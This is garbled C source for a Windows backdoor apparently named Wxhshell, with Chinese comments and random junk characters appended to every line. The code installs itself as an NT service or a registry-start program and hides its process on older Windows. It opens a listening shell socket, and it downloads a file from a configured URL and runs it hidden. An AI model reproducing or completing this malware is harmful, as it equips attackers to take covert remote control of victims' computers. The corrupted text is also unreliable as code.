ULONG InheritedFromUniqueProcessId; YKbR#DC\
} PROCESS_BASIC_INFORMATION; !@E=\Sm8EV
3RpDIl`0
PROCNTQSIP NtQueryInformationProcess; d,j"8\@
|sWH!:]49
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XjpFJ#T*$A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o ~"?K2@T
b?U!<s.
HANDLE hProcess; "i$Avm
PROCESS_BASIC_INFORMATION pbi; GJW>8*&&(
P E1F3u>O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^`
N+mlh
if(NULL == hInst ) return 0; gf6<`+/
/YYI
4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .{as"h-.O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xcO Si>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F$Q(2:w
il=y m
if (!NtQueryInformationProcess) return 0; T1ZAw'6(K
$5aRu,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MH|!tkW>:
if(!hProcess) return 0; 0sW=;R2
6Zwrk-,A
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^]}UyrOn
>x0"gh
CloseHandle(hProcess); H)S&sx#q]
bY:A7.p7#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9:N@+;|T
if(hProcess==NULL) return 0; !MoJb#B3^]
,a& N1G.
HMODULE hMod; 3B:U>F,]4
char procName[255]; D{YAEG
unsigned long cbNeeded; /I|.^ Id|
mZsftby}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fMRBGcg7Dc
Ld>y Fb(`
CloseHandle(hProcess); ! 9B| `
T% J;~|
if(strstr(procName,"services")) return 1; // 以服务启动 Vrl)[st!;I
*Iv.W7 [
return 0; // 注册表启动 p$^}g:
} z+5l:f
]JB~LQz]k
// 主模块 @D_=MtF<
int StartWxhshell(LPSTR lpCmdLine) M^I*;{w6i
{ (h> Jz
SOCKET wsl; )3g7dtq}
BOOL val=TRUE; ?r"][<
int port=0; `pS<v.L3
struct sockaddr_in door; "5*n(S{ks
o, e y.
if(wscfg.ws_autoins) Install(); g'G% BX
`C 'WSr
port=atoi(lpCmdLine); ~_v?M%5i
wWs<{ T
if(port<=0) port=wscfg.ws_port; 2Eg*Yb 1
vUD,%@k9
WSADATA data; $c4Q6w
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \,jrug<C$^
5qo^SiB.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yyZ}qnbx]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $#ks`$vM
door.sin_family = AF_INET; yGl
(QLk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;!U`GN,tH
door.sin_port = htons(port); z-(@j;.
Oq~>P!=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hYRGIpu5
closesocket(wsl); lN94 b3_W
return 1; -
Z?rx5V;t
} P7r?rbO"
DueQ1+ P
if(listen(wsl,2) == INVALID_SOCKET) { [OFg
(R-
closesocket(wsl); 41 sClC"
return 1; K|$Dnma^n
} Ep-{Ew{T_=
Wxhshell(wsl); Qo+_:N
WSACleanup(); |@pJ]
%m[
:},
return 0; 5P_%Vp`B2
]Cy1yAv={
} t6p}LNm(V
^luAX
}*
// 以NT服务方式启动 JzH\_,,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cQEK>aAd
{ 4~-"k{Xt
DWORD status = 0; hPtSY'_@_
DWORD specificError = 0xfffffff; .um]1_= \
:@KU_U)\
serviceStatus.dwServiceType = SERVICE_WIN32; R?3^Kx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Th,15H
DA
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l
+RT>jAmK
serviceStatus.dwWin32ExitCode = 0; 7m0sF<P{g
serviceStatus.dwServiceSpecificExitCode = 0; [B3qZ"
serviceStatus.dwCheckPoint = 0; H&\IgD
serviceStatus.dwWaitHint = 0; `oN~
Bv,u kQ\CH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u
)+;(Vd
if (hServiceStatusHandle==0) return; FNlzpCT~L
yiyyw,iy
status = GetLastError(); +^$FA4<~
if (status!=NO_ERROR) $
hwJjSZ0
{ cy|]}n85
serviceStatus.dwCurrentState = SERVICE_STOPPED; -;=0dfC(
serviceStatus.dwCheckPoint = 0; <)c/PI[j
serviceStatus.dwWaitHint = 0; %RA8M-
d
serviceStatus.dwWin32ExitCode = status; kQ4-W9u
serviceStatus.dwServiceSpecificExitCode = specificError; 4$9WJ~V{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2= FGZa*.
return; K(RG:e~R0i
}
x,YC/J
:3WrRT,'L
serviceStatus.dwCurrentState = SERVICE_RUNNING; <+D(GH};
serviceStatus.dwCheckPoint = 0; KK"uSC
serviceStatus.dwWaitHint = 0; `Q?rQ3A}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); > ?s[g)np
} Ut4cli&cC
^qXc%hj g
// 处理NT服务事件,比如:启动、停止 a$!|)+
VOID WINAPI NTServiceHandler(DWORD fdwControl) %rVC3}
{ F VBuCi?W
switch(fdwControl) zs!,PQF(
{ yHL 2!
case SERVICE_CONTROL_STOP: $p@V1"x
serviceStatus.dwWin32ExitCode = 0; wi/Fx=w
serviceStatus.dwCurrentState = SERVICE_STOPPED; CDcZ6.f
serviceStatus.dwCheckPoint = 0; F9(*MP|
serviceStatus.dwWaitHint = 0; !-1UJqO
{ Sw HrHj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t.|b285e
} 6$-Ex
return; L+y}hb
r
case SERVICE_CONTROL_PAUSE: ( 0/g)gW
serviceStatus.dwCurrentState = SERVICE_PAUSED; iev02 8M
break; \fG?j@Qx
case SERVICE_CONTROL_CONTINUE: xu9K\/{7
serviceStatus.dwCurrentState = SERVICE_RUNNING; ZN75ONL
break; Y?G9d6]Lk6
case SERVICE_CONTROL_INTERROGATE: C}grY5:
break; }gw
\w?/
}; {RFpTh7f:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); AA[(rw
} J8Bz|.@Q
LbX>@2(&
// 标准应用程序主函数 E`68Z/%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ( <~
{ o%dKi]
-Lh\]
// 获取操作系统版本 4cC
OsIsNt=GetOsVer(); F*""n
GetModuleFileName(NULL,ExeFile,MAX_PATH); 49S*f
1.p2{
// 从命令行安装 h/`]=kCl
if(strpbrk(lpCmdLine,"iI")) Install(); 9eOP:/'}w
F91uuSSL
// 下载执行文件 AAbI+L0m{
if(wscfg.ws_downexe) { MR$R#
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9i+OYWUO
WinExec(wscfg.ws_filenam,SW_HIDE); uL!QeY>k\
} )F_0('=t
ZBw]H'sT
if(!OsIsNt) { zx<:1nF,]
// 如果时win9x,隐藏进程并且设置为注册表启动 SrlTwcD
HideProc(); ]Rah,4?9f
StartWxhshell(lpCmdLine); U$zd3a_(
} QH~;B[->
else k@[\C`P
if(StartFromService()) m/
D ~D~
// 以服务方式启动 %H)^k${
StartServiceCtrlDispatcher(DispatchTable); 'OrGt_U
else 0PfjD
// 普通方式启动 HW|5'opF
StartWxhshell(lpCmdLine); 'mwgHo<u
G;RFY!o
return 0; dJYsn+
}